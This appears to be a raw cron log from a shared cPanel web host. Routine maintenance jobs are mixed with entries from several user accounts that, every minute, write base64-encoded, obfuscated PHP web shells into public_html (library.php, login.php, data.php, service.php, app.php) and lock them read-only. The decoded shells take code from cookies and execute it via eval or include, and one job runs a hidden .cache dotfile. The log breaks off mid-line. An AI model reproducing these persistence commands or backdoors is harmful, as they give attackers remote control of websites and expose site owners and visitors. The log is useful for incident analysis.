Mar  1 04:45:02 medusa CROND[15210]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:45:02 medusa CROND[15211]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:45:02 medusa CROND[15199]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:45:02 medusa CROND[15213]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:45:02 medusa CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:45:02 medusa CROND[15217]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:45:02 medusa CROND[15221]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:45:02 medusa CROND[15192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:45:02 medusa CROND[15226]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:45:02 medusa CROND[15214]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  1 04:45:02 medusa CROND[15198]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:45:02 medusa CROND[15225]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:46:01 medusa CROND[7210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:46:01 medusa CROND[7233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:46:01 medusa CROND[7260]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:46:01 medusa CROND[7261]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:46:01 medusa CROND[7262]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:46:01 medusa CROND[7264]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:46:01 medusa CROND[7267]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:46:01 medusa CROND[7269]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:46:01 medusa CROND[7265]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:46:01 medusa CROND[7275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:46:01 medusa CROND[7282]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:46:01 medusa CROND[7283]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:46:01 medusa CROND[7284]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:46:01 medusa CROND[7289]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:46:01 medusa CROND[7290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:47:01 medusa CROND[30589]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:47:01 medusa CROND[30625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:47:01 medusa CROND[30700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:47:01 medusa CROND[30723]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:47:01 medusa CROND[30724]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:47:01 medusa CROND[30727]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:47:01 medusa CROND[30730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:47:01 medusa CROND[30733]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:47:01 medusa CROND[30734]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 04:47:01 medusa CROND[30735]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:47:01 medusa CROND[30738]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1K